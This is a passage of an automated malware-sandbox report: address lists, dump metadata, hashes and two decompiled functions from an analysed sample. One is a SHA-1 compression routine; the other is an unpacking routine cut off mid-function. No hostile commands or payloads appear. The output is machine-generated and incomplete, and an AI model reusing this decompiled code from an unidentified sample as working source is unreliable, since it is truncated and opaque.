0x013b69c1
0x013b69c7
0x013b69d0
0x013b69d3
0x013b69d3
0x013b69d3
0x00000000
0x013b686e
0x013b686e
0x013b6870
0x00000000
0x00000000
0x013b6876
0x013b687c
0x013b687f
0x013b6885
0x013b6889
0x013b688c
0x013b6890
0x013b68db
0x013b68de
0x00000000
0x00000000
0x013b68e2
0x013b68e2
0x013b68e5
0x013b68e9
0x013b68eb
0x013b68ef
0x013b68f4
0x013b68f8
0x013b68fb
0x013b68fe
0x013b6901
0x013b6904
0x013b6908
0x013b6908
0x013b6908
0x00000000
0x013b68eb
0x013b6892
0x013b6895
0x00000000
0x00000000
0x013b6899
0x013b6899
0x013b689c
0x013b689f
0x013b68a2
0x013b68a7
0x013b68ad
0x013b68b3
0x013b68b9
0x013b68bf
0x013b68c5
0x013b68c8
0x013b68cb
0x013b68ce
0x013b68d1
0x013b68d4
0x013b68d4
0x013b68d4
0x00000000
0x013b68d9
0x013b66f2
0x013b66f2
0x013b66f5
0x013b67f0
0x013b67f9
0x013b6803
0x013b6807
0x013b6810
0x013b6813
0x013b6813
0x013b6816
0x013b6819
0x013b6819
0x00000000
0x013b6819
0x013b66fb
0x013b6731
0x013b66fd
0x013b6700
0x013b6705
0x013b670d
0x013b6715
0x013b6718
0x013b6720
0x013b6727
0x013b672c
0x013b672c
0x013b6736
0x013b673d
0x013b6743
0x013b6749
0x013b6750
0x013b677e
0x013b677f
0x013b6780
0x013b6784
0x013b6786
0x013b67a4
0x013b67a7
0x013b67b3
0x013b67b6
0x013b67ba
0x013b67bf
0x013b67d2
0x013b67d4
0x013b67da
0x013b67dc
0x013b67dc
0x013b67de
0x00000000
0x013b67de
0x013b678e
0x013b6791
0x013b6791
0x013b6793
0x00000000
0x00000000
0x013b6795
0x013b6796
0x013b6799
0x013b679c
0x00000000
0x00000000
0x00000000
0x013b679e
0x013b67a0
0x00000000
0x013b6752
0x013b6754
0x013b6757
0x013b6761
0x013b6769
0x013b676f
0x013b6772
0x013b67e6
0x013b67e9
0x00000000
0x013b67e9
0x013b6750
0x013b66ec
0x013b6634
0x013b65ad
0x013b65b0
0x013b65b0
0x013b65b0
0x00000000
0x013b65b0
0x013b6551
0x013b6554
0x013b6554
0x013b6556
0x00000000
0x00000000
0x013b6558
0x013b6559
0x013b655c
0x013b655f
0x00000000
0x00000000
0x00000000
0x013b6561
0x013b6563
0x00000000
0x013b6563
0x013b6512
0x013b6515
0x013b651f
0x013b6527
0x013b652d
0x013b6530
0x013b6533
0x00000000
0x013b6533
0x013b64c0
0x013b64c3
0x00000000
0x00000000
0x013b64c7
0x013b64d2
0x013b64d8
0x013b6d61
0x013b6d61
0x00000000
0x013b6d61
0x013b64de
0x00000000
0x00000000
0x013b64e6
0x013b64ec
0x00000000
0x00000000
0x00000000
0x013b64ec
0x013b6468
0x013b6434
0x013b6405
0x013b6409
0x013b640d
0x013b6411
0x013b6419
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7df07331dc8246d27593e118a7ee815c0dd8300ee0f02b9d281ebf78cfae13a
Instruction ID: d930e48b95a3c0d6a5b93ac5a3ef6fcfeed47d790ca20530c62b8037e7bae910
Opcode Fuzzy Hash: a7df07331dc8246d27593e118a7ee815c0dd8300ee0f02b9d281ebf78cfae13a
Instruction Fuzzy Hash: C86202B1604B4A9FC719CF28C9C15F9BBE1FB45208F08866EDA9687B43E734E555CB40

Uniqueness

Uniqueness Score: -1.00%

Function 013AE097 Relevance: .7, Instructions: 694
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E013AE097(signed int* _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _t429;
				intOrPtr _t431;
				intOrPtr _t436;
				void* _t441;
				intOrPtr _t443;
				signed int _t446;
				void* _t448;
				signed int _t454;
				signed int _t460;
				signed int _t466;
				signed int _t474;
				signed int _t482;
				signed int _t489;
				signed int _t512;
				signed int _t519;
				signed int _t526;
				signed int _t546;
				signed int _t555;
				signed int _t564;
				signed int* _t592;
				signed int _t593;
				signed int _t595;
				signed int _t596;
				signed int* _t597;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				signed int _t604;
				signed int* _t605;
				signed int _t606;
				signed int* _t670;
				signed int* _t741;
				signed int _t752;
				signed int _t769;
				signed int _t773;
				signed int _t777;
				signed int _t781;
				signed int _t782;
				signed int _t786;
				signed int _t787;
				signed int _t791;
				signed int _t796;
				signed int _t800;
				signed int _t804;
				signed int _t806;
				signed int _t809;
				signed int _t810;
				signed int* _t811;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed int _t830;
				signed int _t834;
				signed int _t838;
				signed int* _t839;
				signed int _t841;
				signed int _t842;
				signed int _t844;
				signed int _t845;
				signed int _t847;
				signed int* _t848;
				signed int _t851;
				signed int* _t854;
				signed int _t855;
				signed int _t857;
				signed int _t858;
				signed int _t862;
				signed int _t863;
				signed int _t867;
				signed int _t871;
				signed int _t875;
				signed int _t879;
				signed int _t880;
				signed int* _t881;
				signed int _t882;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t890;
				signed int _t891;
				signed int _t893;
				signed int _t894;
				signed int _t896;
				signed int _t897;
				signed int* _t898;
				signed int _t899;
				signed int _t901;
				signed int _t902;
				signed int _t904;
				signed int _t905;

				_t906 =  &_v28;
				if(_a16 == 0) {
					_t839 = _a8;
					_v20 = _t839;
					E013BDFA0(_t839, _a12, 0x40);
					_t906 =  &(( &_v28)[3]);
				} else {
					_t839 = _a12;
					_v20 = _t839;
				}
				_t848 = _a4;
				_t593 =  *_t848;
				_t886 = _t848[1];
				_a12 = _t848[2];
				_a16 = _t848[3];
				_v24 = 0;
				_t429 = E013C36C8( *_t839);
				asm("rol edx, 0x5");
				 *_t839 = _t429;
				_t851 = _t848[4] + 0x5a827999 + ((_a16 ^ _a12) & _t886 ^ _a16) + _t593 + _t429;
				_t430 = _t839;
				asm("ror ebp, 0x2");
				_v16 = _t839;
				_a8 =  &(_t839[3]);
				do {
					_t431 = E013C36C8(_t430[1]);
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v16 + 4)) = _t431;
					asm("ror ebx, 0x2");
					_a16 = _a16 + 0x5a827999 + ((_a12 ^ _t886) & _t593 ^ _a12) + _t851 + _t431;
					_t436 = E013C36C8( *((intOrPtr*)(_a8 - 4)));
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_a8 - 4)) = _t436;
					asm("ror esi, 0x2");
					_a12 = _a12 + 0x5a827999 + ((_t886 ^ _t593) & _t851 ^ _t886) + _a16 + _t436;
					_t441 = E013C36C8( *_a8);
					asm("rol edx, 0x5");
					 *_a8 = _t441;
					asm("ror dword [esp+0x48], 0x2");
					_t886 = _t886 + ((_t851 ^ _t593) & _a16 ^ _t593) + _a12 + 0x5a827999 + _t441;
					_t443 = E013C36C8( *((intOrPtr*)(_a8 + 4)));
					_a8 = _a8 + 0x14;
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_a8 + 4)) = _t443;
					_t446 = _v24 + 5;
					asm("ror dword [esp+0x48], 0x2");
					_v24 = _t446;
					_t593 = _t593 + ((_t851 ^ _a16) & _a12 ^ _t851) + _t886 + _t443 + 0x5a827999;
					_v16 =  &(_t839[_t446]);
					_t448 = E013C36C8(_t839[_t446]);
					_t906 =  &(_t906[5]);
					asm("rol edx, 0x5");
					 *_v16 = _t448;
					_t430 = _v16;
					asm("ror ebp, 0x2");
					_t851 = _t851 + 0x5a827999 + ((_a16 ^ _a12) & _t886 ^ _a16) + _t593 + _t448;
				} while (_v24 != 0xf);
				_t769 = _t839[0xd] ^ _t839[8] ^ _t839[2] ^  *_t839;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				 *_t839 = _t769;
				_t454 = ((_a12 ^ _t886) & _t593 ^ _a12) + _t851 + _t769 + _a16 + 0x5a827999;
				_t773 = _t839[0xe] ^ _t839[9] ^ _t839[3] ^ _t839[1];
				_a16 = _t454;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t839[1] = _t773;
				_t777 = _t839[0xf] ^ _t839[0xa] ^ _t839[4] ^ _t839[2];
				_t460 = ((_t886 ^ _t593) & _t851 ^ _t886) + _t454 + _t773 + _a12 + 0x5a827999;
				asm("ror esi, 0x2");
				_a8 = _t460;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[2] = _t777;
				_t466 = ((_t851 ^ _t593) & _a16 ^ _t593) + _t460 + 0x5a827999 + _t777 + _t886;
				_t887 = _a16;
				_t781 = _t839[0xb] ^ _t839[5] ^ _t839[3] ^  *_t839;
				_v28 = _t466;
				asm("ror ebp, 0x2");
				_a16 = _t887;
				_t888 = _a8;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[3] = _t781;
				asm("ror ebp, 0x2");
				_t782 = 0x11;
				_a12 = ((_t851 ^ _t887) & _t888 ^ _t851) + 0x5a827999 + _t466 + _t781 + _t593;
				_a8 = _t888;
				_v16 = _t782;
				do {
					_t89 = _t782 + 5; // 0x16
					_t474 = _t89;
					_v8 = _t474;
					_t91 = _t782 - 5; // 0xc
					_t92 = _t782 + 3; // 0x14
					_t890 = _t92 & 0x0000000f;
					_t595 = _t474 & 0x0000000f;
					_v12 = _t890;
					_t786 = _t839[_t91 & 0x0000000f] ^ _t839[_t782 & 0x0000000f] ^ _t839[_t595] ^ _t839[_t890];
					asm("rol edx, 1");
					_t839[_t890] = _t786;
					_t891 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t891;
					_t482 = _v16;
					_v24 = _t851 + (_a16 ^ _a8 ^ _t891) + 0x6ed9eba1 + _a12 + _t786;
					_t854 = _v20;
					_t787 = 0xf;
					_t841 = _t482 + 0x00000006 & _t787;
					_t893 = _t482 + 0x00000004 & _t787;
					_t791 =  *(_t854 + (_t482 - 0x00000004 & _t787) * 4) ^  *(_t854 + (_t482 + 0x00000001 & _t787) * 4) ^  *(_t854 + _t893 * 4) ^  *(_t854 + _t841 * 4);
					asm("rol edx, 1");
					 *(_t854 + _t893 * 4) = _t791;
					_t855 = _a12;
					asm("rol ecx, 0x5");
					asm("ror esi, 0x2");
					_a12 = _t855;
					_t489 = _v16;
					_a16 = _a16 + 0x6ed9eba1 + (_a8 ^ _v28 ^ _t855) + _v24 + _t791;
					_t857 = _t489 + 0x00000007 & 0x0000000f;
					_t670 = _v20;
					_t796 = _v20[_t489 - 0x00000003 & 0x0000000f] ^  *(_t670 + (_t489 + 0x00000002 & 0x0000000f) * 4) ^  *(_t670 + _t595 * 4) ^  *(_t670 + _t857 * 4);
					asm("rol edx, 1");
					 *(_t670 + _t595 * 4) = _t796;
					_t596 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t596;
					_t597 = _v20;
					_a8 = _a8 + 0x6ed9eba1 + (_t596 ^ _v28 ^ _a12) + _a16 + _t796;
					asm("rol ecx, 0x5");
					_t800 =  *(_t597 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t597 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t597 + _t841 * 4) ^  *(_t597 + _v12 * 4);
					asm("rol edx, 1");
					 *(_t597 + _t841 * 4) = _t800;
					_t598 = _a16;
					_t839 = _v20;
					asm("ror ebx, 0x2");
					_a16 = _t598;
					_v28 = _v28 + 0x6ed9eba1 + (_v24 ^ _t598 ^ _a12) + _a8 + _t800;
					_t804 = _t839[_v16 - 0x00000007 & 0x0000000f] ^ _t839[_v16 - 0x00000001 & 0x0000000f] ^ _t839[_t893] ^ _t839[_t857];
					_t894 = _a8;
					asm("rol edx, 1");
					_t839[_t857] = _t804;
					_t851 = _v24;
					asm("rol ecx, 0x5");
					_t782 = _v8;
					asm("ror ebp, 0x2");
					_a8 = _t894;
					_a12 = _a12 + 0x6ed9eba1 + (_t851 ^ _t598 ^ _t894) + _v28 + _t804;
					_v16 = _t782;
				} while (_t782 + 3 <= 0x23);
				_t858 = 0x25;
				_v16 = _t858;
				while(1) {
					_t199 = _t858 + 5; // 0x2a
					_t512 = _t199;
					_t200 = _t858 - 5; // 0x20
					_v4 = _t512;
					_t202 = _t858 + 3; // 0x28
					_t806 = _t202 & 0x0000000f;
					_v8 = _t806;
					_t896 = _t512 & 0x0000000f;
					_t862 = _t839[_t200 & 0x0000000f] ^ _t839[_t858 & 0x0000000f] ^ _t839[_t806] ^ _t839[_t896];
					asm("rol esi, 1");
					_t599 = _v28;
					_t839[_t806] = _t862;
					asm("rol edx, 0x5");
					asm("ror ebx, 0x2");
					_t863 = 0xf;
					_v28 = _t599;
					_v24 = _a12 - 0x70e44324 + ((_a8 | _v28) & _t598 | _a8 & _t599) + _t862 + _v24;
					_t519 = _v16;
					_t601 = _t519 + 0x00000006 & _t863;
					_t809 = _t519 + 0x00000004 & _t863;
					_v12 = _t809;
					_t867 = _t839[_t519 - 0x00000004 & _t863] ^ _t839[_t519 + 0x00000001 & _t863] ^ _t839[_t809] ^ _t839[_t601];
					asm("rol esi, 1");
					_t839[_t809] = _t867;
					_t842 = _a12;
					_t810 = _v24;
					asm("rol edx, 0x5");
					asm("ror edi, 0x2");
					_a12 = _t842;
					_t243 = _t810 - 0x70e44324; // -1894007573
					_t811 = _v20;
					_a16 = _t243 + ((_v28 | _t842) & _a8 | _v28 & _t842) + _t867 + _a16;
					_t526 = _v16;
					_t844 = _t526 + 0x00000007 & 0x0000000f;
					_t871 =  *(_t811 + (_t526 - 0x00000003 & 0x0000000f) * 4) ^  *(_t811 + (_t526 + 0x00000002 & 0x0000000f) * 4) ^  *(_t811 + _t844 * 4) ^  *(_t811 + _t896 * 4);
					asm("rol esi, 1");
					 *(_t811 + _t896 * 4) = _t871;
					_t897 = _v24;
					asm("rol edx, 0x5");
					asm("ror ebp, 0x2");
					_t814 = _a16 + 0x8f1bbcdc + ((_t897 | _a12) & _v28 | _t897 & _a12) + _t871 + _a8;
					_v24 = _t897;
					_t898 = _v20;
					_a8 = _t814;
					asm("rol edx, 0x5");
					_t875 =  *(_t898 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t898 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t898 + _v8 * 4) ^  *(_t898 + _t601 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t601 * 4) = _t875;
					_t598 = _a16;
					asm("ror ebx, 0x2");
					_a16 = _t598;
					_t815 = _t814 + ((_v24 | _t598) & _a12 | _v24 & _t598) + 0x8f1bbcdc + _t875 + _v28;
					_v28 = _t815;
					asm("rol edx, 0x5");
					_t879 =  *(_t898 + (_v16 - 0x00000007 & 0x0000000f) * 4) ^  *(_t898 + (_v16 - 0x00000001 & 0x0000000f) * 4) ^  *(_t898 + _t844 * 4) ^  *(_t898 + _v12 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t844 * 4) = _t879;
					_t899 = _a8;
					_t845 = _v24;
					asm("ror ebp, 0x2");
					_a8 = _t899;
					_t858 = _v4;
					_a12 = _t815 - 0x70e44324 + ((_t598 | _t899) & _t845 | _t598 & _t899) + _t879 + _a12;
					_v16 = _t858;
					if(_t858 + 3 > 0x37) {
						break;
					}
					_t839 = _v20;
				}
				_t816 = 0x39;
				_v16 = _t816;
				do {
					_t310 = _t816 + 5; // 0x3e
					_t546 = _t310;
					_v8 = _t546;
					_t312 = _t816 + 3; // 0x3c
					_t313 = _t816 - 5; // 0x34
					_t880 = 0xf;
					_t901 = _t312 & _t880;
					_t603 = _t546 & _t880;
					_t881 = _v20;
					_v4 = _t901;
					_t820 =  *(_t881 + (_t313 & _t880) * 4) ^  *(_t881 + (_t816 & _t880) * 4) ^  *(_t881 + _t603 * 4) ^  *(_t881 + _t901 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t901 * 4) = _t820;
					_t902 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t902;
					_v24 = (_a16 ^ _a8 ^ _t902) + _t820 + _t845 + _a12 + 0xca62c1d6;
					_t555 = _v16;
					_t821 = 0xf;
					_t847 = _t555 + 0x00000006 & _t821;
					_t904 = _t555 + 0x00000004 & _t821;
					_t825 =  *(_t881 + (_t555 - 0x00000004 & _t821) * 4) ^  *(_t881 + (_t555 + 0x00000001 & _t821) * 4) ^  *(_t881 + _t904 * 4) ^  *(_t881 + _t847 * 4);
					asm("rol edx, 1");
					 *(_t881 + _t904 * 4) = _t825;
					_t882 = _a12;
					asm("rol ecx, 0x5");
					_a16 = (_a8 ^ _v28 ^ _t882) + _t825 + _a16 + _v24 + 0xca62c1d6;
					_t564 = _v16;
					asm("ror esi, 0x2");
					_a12 = _t882;
					_t884 = _t564 + 0x00000007 & 0x0000000f;
					_t741 = _v20;
					_t830 = _v20[_t564 - 0x00000003 & 0x0000000f] ^  *(_t741 + (_t564 + 0x00000002 & 0x0000000f) * 4) ^  *(_t741 + _t603 * 4) ^  *(_t741 + _t884 * 4);
					asm("rol edx, 1");
					 *(_t741 + _t603 * 4) = _t830;
					_t604 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t604;
					_t605 = _v20;
					_a8 = (_t604 ^ _v28 ^ _a12) + _t830 + _a8 + _a16 + 0xca62c1d6;
					asm("rol ecx, 0x5");
					_t834 = _t605[_v16 - 0x00000008 & 0x0000000f] ^ _t605[_v16 + 0xfffffffe & 0x0000000f] ^ _t605[_t847] ^ _t605[_v4];
					asm("rol edx, 1");
					_t605[_t847] = _t834;
					_t845 = _v24;
					asm("ror dword [esp+0x3c], 0x2");
					_v28 = (_t845 ^ _a16 ^ _a12) + _t834 + _v28 + _a8 + 0xca62c1d6;
					_t838 = _t605[_v16 - 0x00000007 & 0x0000000f] ^ _t605[_v16 - 0x00000001 & 0x0000000f] ^ _t605[_t904] ^ _t605[_t884];
					_t905 = _a8;
					asm("rol edx, 1");
					_t605[_t884] = _t838;
					_t606 = _a16;
					_t885 = _v28;
					asm("ror ebp, 0x2");
					_t816 = _v8;
					asm("rol ecx, 0x5");
					_a8 = _t905;
					_t752 = _t885 + 0xca62c1d6 + (_t845 ^ _t606 ^ _t905) + _t838 + _a12;
					_v16 = _t816;
					_a12 = _t752;
				} while (_t816 + 3 <= 0x4b);
				_t592 = _a4;
				_t592[1] = _t592[1] + _t885;
				_t592[2] = _t592[2] + _t905;
				_t592[3] = _t592[3] + _t606;
				 *_t592 =  *_t592 + _t752;
				_t592[4] = _t592[4] + _t845;
				return _t592;
			}

0x013ae097
0x013ae0a3
0x013ae0af
0x013ae0b9
0x013ae0be
0x013ae0c3
0x013ae0a5
0x013ae0a5
0x013ae0a9
0x013ae0a9
0x013ae0c6
0x013ae0cf
0x013ae0d1
0x013ae0d4
0x013ae0de
0x013ae0e4
0x013ae0e8
0x013ae100
0x013ae10b
0x013ae10d
0x013ae10f
0x013ae114
0x013ae117
0x013ae11b
0x013ae11f
0x013ae122
0x013ae12d
0x013ae132
0x013ae14c
0x013ae151
0x013ae15c
0x013ae169
0x013ae16e
0x013ae182
0x013ae189
0x013ae193
0x013ae1a0
0x013ae1a9
0x013ae1b9
0x013ae1c5
0x013ae1c7
0x013ae1d2
0x013ae1d7
0x013ae1da
0x013ae1ee
0x013ae1f5
0x013ae1fc
0x013ae205
0x013ae209
0x013ae20d
0x013ae218
0x013ae21b
0x013ae21e
0x013ae22a
0x013ae23c
0x013ae23f
0x013ae241
0x013ae257
0x013ae25f
0x013ae263
0x013ae26e
0x013ae280
0x013ae287
0x013ae28a
0x013ae290
0x013ae292
0x013ae297
0x013ae29c
0x013ae2b2
0x013ae2bb
0x013ae2bd
0x013ae2c0
0x013ae2c6
0x013ae2cc
0x013ae2db
0x013ae2eb
0x013ae2ed
0x013ae2f3
0x013ae2f5
0x013ae2fb
0x013ae300
0x013ae304
0x013ae30a
0x013ae30e
0x013ae318
0x013ae31f
0x013ae324
0x013ae325
0x013ae329
0x013ae32d
0x013ae331
0x013ae331
0x013ae331
0x013ae336
0x013ae33a
0x013ae342
0x013ae348
0x013ae34b
0x013ae34e
0x013ae35d
0x013ae36c
0x013ae36e
0x013ae371
0x013ae377
0x013ae381
0x013ae386
0x013ae38c
0x013ae390
0x013ae394
0x013ae398
0x013ae39c
0x013ae3a1
0x013ae3b4
0x013ae3c3
0x013ae3c5
0x013ae3c8
0x013ae3ce
0x013ae3d3
0x013ae3e6
0x013ae3ec
0x013ae3f0
0x013ae400
0x013ae409
0x013ae413
0x013ae416
0x013ae418
0x013ae41f
0x013ae425
0x013ae434
0x013ae441
0x013ae447
0x013ae44f
0x013ae470
0x013ae473
0x013ae47a
0x013ae47e
0x013ae481
0x013ae48b
0x013ae49b
0x013ae4a0
0x013ae4a8
0x013ae4bf
0x013ae4c6
0x013ae4ca
0x013ae4cc
0x013ae4cf
0x013ae4d5
0x013ae4de
0x013ae4ee
0x013ae4f3
0x013ae4fa
0x013ae4fe
0x013ae502
0x013ae50d
0x013ae50e
0x013ae518
0x013ae518
0x013ae518
0x013ae51b
0x013ae51e
0x013ae525
0x013ae52a
0x013ae52f
0x013ae536
0x013ae544
0x013ae553
0x013ae555
0x013ae55b
0x013ae56a
0x013ae56d
0x013ae570
0x013ae571
0x013ae57d
0x013ae581
0x013ae58b
0x013ae58d
0x013ae594
0x013ae5a4
0x013ae5ad
0x013ae5af
0x013ae5b2
0x013ae5be
0x013ae5c6
0x013ae5cd
0x013ae5d0
0x013ae5d4
0x013ae5da
0x013ae5e0
0x013ae5e4
0x013ae5f4
0x013ae603
0x013ae606
0x013ae608
0x013ae60b
0x013ae62f
0x013ae638
0x013ae63b
0x013ae63d
0x013ae641
0x013ae64b
0x013ae652
0x013ae668
0x013ae672
0x013ae674
0x013ae678
0x013ae686
0x013ae695
0x013ae69d
0x013ae6a2
0x013ae6a9
0x013ae6c2
0x013ae6c8
0x013ae6ca
0x013ae6ce
0x013ae6d4
0x013ae6dc
0x013ae6e1
0x013ae6f1
0x013ae6f7
0x013ae6fb
0x013ae705
0x00000000
0x00000000
0x013ae514
0x013ae514
0x013ae70d
0x013ae70e
0x013ae712
0x013ae712
0x013ae712
0x013ae717
0x013ae71b
0x013ae720
0x013ae725
0x013ae72a
0x013ae72c
0x013ae72e
0x013ae732
0x013ae741
0x013ae750
0x013ae752
0x013ae755
0x013ae75d
0x013ae762
0x013ae76b
0x013ae771
0x013ae775
0x013ae779
0x013ae780
0x013ae782
0x013ae795
0x013ae7a4
0x013ae7a6
0x013ae7a9
0x013ae7b1
0x013ae7c4
0x013ae7c8
0x013ae7cc
0x013ae7cf
0x013ae7df
0x013ae7e8
0x013ae7f2
0x013ae7f5
0x013ae7f7
0x013ae7fe
0x013ae802
0x013ae817
0x013ae820
0x013ae824
0x013ae828
0x013ae84d
0x013ae856
0x013ae859
0x013ae85b
0x013ae85e
0x013ae86c
0x013ae879
0x013ae896
0x013ae899
0x013ae89d
0x013ae89f
0x013ae8a2
0x013ae8a8
0x013ae8b0
0x013ae8b9
0x013ae8bd
0x013ae8c6
0x013ae8ca
0x013ae8cc
0x013ae8d3
0x013ae8d7
0x013ae8e0
0x013ae8e4
0x013ae8e7
0x013ae8ea
0x013ae8ed
0x013ae8ef
0x013ae8f9

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dd2caf385a59822b9a14fbc93f7aaa4fbbe767d050e2cf75e0f52348a67b4f0
Instruction ID: d0e42ed1c20ec2b12acc11d24fd900601732d56ddcf98e9950b511c3b862c709
Opcode Fuzzy Hash: 4dd2caf385a59822b9a14fbc93f7aaa4fbbe767d050e2cf75e0f52348a67b4f0
Instruction Fuzzy Hash: F65248B26087019FC758CF19C891A6AF7E1FFC8304F89892DF98697355D334E9198B82

Uniqueness

Uniqueness Score: -1.00%

Function 013B5DB8 Relevance: .5, Instructions: 509
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E013B5DB8(signed int __ecx) {
				void* __ebp;
				signed int _t201;
				signed int _t203;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t209;
				signed int _t210;
				signed int _t212;
				signed int _t214;
				signed int _t215;
				signed int _t216;
				signed int _t218;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				unsigned int _t223;
				signed int _t233;
				signed int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t244;
				signed int _t245;
				signed short _t246;
				signed int _t247;
				signed int _t250;
				signed int* _t251;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				unsigned int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t261;
				signed int _t263;
				signed int _t264;
				signed short _t265;
				unsigned int _t269;
				unsigned int _t274;
				signed int _t279;
				signed short _t280;
				signed int _t284;
				void* _t291;
				signed int _t293;
				signed int* _t295;
				signed int _t296;
				signed int _t297;
				signed int _t301;
				signed int _t304;
				signed int _t305;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t313;
				intOrPtr _t314;
				signed int _t315;
				unsigned int _t318;
				void* _t320;
				signed int _t323;
				signed int _t324;
				unsigned int _t327;
				void* _t329;
				signed int _t332;
				void* _t335;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t341;
				void* _t342;
				signed int _t345;
				signed int* _t349;
				signed int _t350;
				unsigned int _t354;
				void* _t356;
				signed int _t359;
				void* _t363;
				signed int _t366;
				signed int _t367;
				unsigned int _t370;
				void* _t372;
				signed int _t375;
				intOrPtr* _t377;
				void* _t378;
				signed int _t381;
				void* _t384;
				signed int _t388;
				signed int _t389;
				intOrPtr* _t391;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t404;
				void* _t405;
				signed int _t408;
				signed int _t414;
				unsigned int _t416;
				unsigned int _t420;
				signed int _t423;
				signed int _t424;
				unsigned int _t426;
				unsigned int _t430;
				signed int _t433;
				signed int _t434;
				void* _t435;
				signed int _t436;
				intOrPtr* _t438;
				signed char _t440;
				signed int _t442;
				intOrPtr _t443;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				void* _t455;

				_t440 =  *(_t455 + 0x34);
				 *(_t455 + 0x14) = __ecx;
				if( *((char*)(_t440 + 0x2c)) != 0) {
					L3:
					_t313 =  *((intOrPtr*)(_t440 + 0x18));
					_t438 = _t440 + 4;
					__eflags =  *_t438 -  *((intOrPtr*)(_t440 + 0x24)) + _t313;
					if( *_t438 <=  *((intOrPtr*)(_t440 + 0x24)) + _t313) {
						 *(_t440 + 0x4ad8) =  *(_t440 + 0x4ad8) & 0x00000000;
						_t201 =  *((intOrPtr*)(_t440 + 0x20)) - 1 + _t313;
						_t414 =  *((intOrPtr*)(_t440 + 0x4acc)) - 0x10;
						 *(_t455 + 0x14) = _t201;
						 *(_t455 + 0x10) = _t414;
						_t293 = _t201;
						__eflags = _t201 - _t414;
						if(_t201 >= _t414) {
							_t293 = _t414;
						}
						 *(_t455 + 0x3c) = _t293;
						while(1) {
							_t314 =  *_t438;
							__eflags = _t314 - _t293;
							if(_t314 < _t293) {
								goto L15;
							}
							L9:
							__eflags = _t314 - _t201;
							if(__eflags > 0) {
								L93:
								L94:
								return _t201;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t314 - _t414;
								if(_t314 < _t414) {
									L14:
									__eflags = _t314 -  *((intOrPtr*)(_t440 + 0x4acc));
									if(_t314 >=  *((intOrPtr*)(_t440 + 0x4acc))) {
										L92:
										 *((char*)(_t440 + 0x4ad3)) = 1;
										goto L93;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t440 + 0x4ad2));
								if( *((char*)(_t440 + 0x4ad2)) == 0) {
									goto L92;
								}
								goto L14;
							}
							_t201 =  *(_t440 + 8);
							__eflags = _t201 -  *((intOrPtr*)(_t440 + 0x1c));
							if(_t201 >=  *((intOrPtr*)(_t440 + 0x1c))) {
								goto L93;
							}
							goto L12;
							L15:
							_t315 =  *(_t440 + 0x4adc);
							__eflags =  *(_t440 + 0x4ad8) - _t315 - 8;
							if( *(_t440 + 0x4ad8) > _t315 - 8) {
